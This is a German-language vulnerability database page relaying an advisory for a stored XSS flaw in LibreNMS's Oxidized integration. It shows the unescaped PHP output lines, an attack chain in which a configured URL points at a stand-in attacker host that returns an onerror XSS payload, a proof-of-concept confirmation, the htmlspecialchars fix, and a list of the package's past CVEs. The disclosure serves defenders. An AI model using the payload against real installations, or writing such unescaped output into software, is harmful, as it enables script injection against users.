Anmelden
Deutsch English Español Polski
Hoch

LibreNMS: SSRF-driven stored XSS via Oxidized API response fields in device showconfig page

  • Veröffentlicht: 18.08.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

The Oxidized integration URL (oxidized.url) is admin-configurable. LibreNMS fetches device info and version history from that URL and renders JSON fields (name, ip, model, author, commit message) into HTML without htmlspecialchars(). An admin pointing the URL at an attacker-controlled server achieves persistent XSS affecting all users who view any device's showconfig tab.

CVSS

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N — 8.1 High

Details

php
// includes/html/pages/device/showconfig.inc.php:276-278
echo '<li ...><strong>Node:</strong> ' . $node_info['name'] . '</li>';
echo '<li ...><strong>IP:</strong> '   . $node_info['ip']   . '</li>';
echo '<li ...><strong>Model:</strong> '. $node_info['model'] . '</li>';
// lines 349, 353: author and commit message also unescaped

Attack chain

  1. Admin sets oxidized.url to http://attacker.example.com/.
  2. Attacker server returns {"name":"<img src=x onerror=alert(1)>","ip":"x","model":"x"}.
  3. Any user viewing any device showconfig tab triggers the XSS.

PoC

Mock Oxidized server confirmed in response:

[!!!] CONFIRMED — ...<strong>Node:</strong> <img src=x onerror="alert('SSRF-XSS-oxidized')">...

Fix

php
echo '<li ...><strong>Node:</strong> ' . htmlspecialchars($node_info['name'], ENT_QUOTES, 'UTF-8') . '</li>';

Apply to all fields from $node_info, $author, $msg.

Prerequisite

Admin session. Oxidized integration must be enabled.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket librenms/librenms < 26.7.0 26.7.0

Verweise

CVSS-Wert 8.1/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Schwäche (CWE)
CWE-79, CWE-918
Plattform
Composer
Paket
librenms/librenms
Veröffentlicht
18.08.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-7gww-x7fh-jf9j - CC BY 4.0

Schwachstellenhistorie: librenms/librenms

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (106) im Archiv
Einträge insgesamt
106
Erste → letzte
10.2019 08.2026
Ohne Fix
6
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 5
  • Hoch 39
  • Mittel 56
  • Niedrig 6

Veröffentlichungen pro Jahr

Schweregrad:
  1. LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates
    Hoch · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. LibreNMS: SSRF-driven stored XSS via Oxidized API response fields in device showconfig page dieser Eintrag
    Hoch · 8.1 CVE-2026-84189 < 26.7.0 26.7.0
  3. LibreNMS Vulnerable to Remote Code Execution by Signal Alert Transportation module
    Hoch CVE-2026-55182 >= 21.6.0, < 26.5.0 26.5.0
  4. LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write
    Hoch CVE-2026-6204 >= 1.48, < 26.3.0 26.3.0
  5. LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php
    Hoch · 8.8 CVE-2026-26990 < 26.2.0 26.2.0
  6. LibreNMS: SQL Injection in ajax_table.php spreads through a covert data stream.
    Hoch CVE-2026-26988 < 26.2.0 26.2.0
  7. LibreNMS contains an authenticated SQL Injection vulnerability
    Hoch · 7.1 CVE-2020-36947 <= 1.46 keine Korrektur
  8. LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE
    Hoch · 7.5 CVE-2025-54138 < 25.7.0 25.7.0
  9. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php
    Hoch · 7.5 CVE-2024-52526 < 24.10.0 24.10.0
  10. LibreNMS has an Authenticated OS Command Injection
    Kritisch · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  11. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php
    Hoch · 7.5 CVE-2024-51497 < 24.10.0 24.10.0
  12. LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/html/pages/wireless.inc.php
    Hoch · 7.5 CVE-2024-51496 < 24.10.0 24.10.0
  13. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php
    Hoch · 7.5 CVE-2024-51495 < 24.10.0 24.10.0
  14. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
    Hoch · 7.5 CVE-2024-51494 < 24.10.0 24.10.0
  15. LibreNMS has a Persistent XSS from Insecure Input Sanitization Affects Multiple Endpoints
    Hoch · 7.2 CVE-2024-50355 < 24.10.0 24.10.0
  16. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/overview/services.inc.php
    Hoch · 7.5 CVE-2024-50352 < 24.10.0 24.10.0
  17. LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/functions.php
    Hoch · 7.5 CVE-2024-50351 < 24.10.0 24.10.0
  18. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
    Hoch · 7.5 CVE-2024-50350 < 24.10.0 24.10.0
  19. LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php
    Hoch · 7.5 CVE-2024-49764 < 24.10.0 24.10.0
  20. Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/edituser.inc.php
    Hoch · 7.5 CVE-2024-49759 < 24.10.0 24.10.0
  21. LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php
    Hoch · 7.5 CVE-2024-49754 < 24.10.0 24.10.0
  22. LibreNMS has Stored Cross-site Scripting vulnerability in "Device Group" Name
    Hoch · 7.2 CVE-2024-47524 < 24.9.0 24.9.0
  23. LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction
    Hoch · 7.2 CVE-2024-32480 < 24.4.0 24.4.0
  24. LibreNMS uses Improper Sanitization on Service template name leads to Stored XSS
    Hoch · 7.1 CVE-2024-32479 < 24.4.0 24.4.0
  25. LibreNMS vulnerable to SQL injection time-based leads to database extraction
    Hoch · 8.8 CVE-2024-32461 < 24.4.0 24.4.0
  26. SQL injection in librenms/librenms
    Hoch · 7.8 CVE-2023-5591 < 23.10.0 23.10.0
  27. Cross site scripting in librenms
    Hoch · 8.4 CVE-2023-5060 < 23.9.1 23.9.1
  28. LibreNMS Cross-site Scripting vulnerability
    Hoch · 7.6 CVE-2023-4347 < 23.8.0 23.8.0
  29. Deserialization of Untrusted Data in librenms/librenms
    Hoch · 8.8 CVE-2022-3525 < 22.10.0 22.10.0
  30. Cross-site Scripting in librenms/librenms
    Hoch · 7.6 CVE-2022-4068 < 22.10.0 22.10.0
  31. Insufficient Session Expiration in librenms/librenms
    Kritisch · 9.8 CVE-2022-4070 < 22.10.0 22.10.0
  32. Command injection in librenms
    Hoch CVE-2022-29712 < 22.4.0 22.4.0
  33. LibreNMS Information Disclosure
    Kritisch · 9.8 CVE-2019-10665 <= 1.47 keine Korrektur
  34. LibreNMS arbitrary OS commands execution
    Kritisch · 9.8 CVE-2018-20434 = 1.46 keine Korrektur
  35. LibreNMS SQL Injection
    Hoch · 8.8 CVE-2018-20678 < 1.65 1.65
  36. Improper Access Control in librenms
    Hoch · 7.1 CVE-2022-0580 < 22.2.0 22.2.0
  37. Improper Authorization in librenms
    Hoch · 7.1 CVE-2022-0587 < 22.2.0 22.2.0
  38. Path traversal in librenms/librenms
    Kritisch · 9.8 CVE-2021-44278 <= 21.11.0 keine Korrektur
  39. Exposure of Resource to Wrong Sphere in LibreNMS
    Hoch · 8.8 CVE-2020-15877 < 1.65.1 1.65.1
  40. SQL Injection in librenms
    Hoch · 8.8 CVE-2020-35700 < 21.1.0 21.1.0
  41. SQL Injection in LibreNMS
    Hoch · 8.8 CVE-2019-10671 < 1.50.1 1.50.1
  42. SQL Injection in LibreNMS
    Hoch · 8.1 CVE-2019-12465 < 1.53 1.53
  43. Path Traversal in LibreNMS
    Hoch · 7.5 CVE-2019-12464 < 1.53 1.53
  44. Improper Encoding or Escaping of Output and Injection in LibreNMS
    Hoch · 8.8 CVE-2019-12463 >= 1.50.1, < 1.53 1.53

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Datenschutzerklärung

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.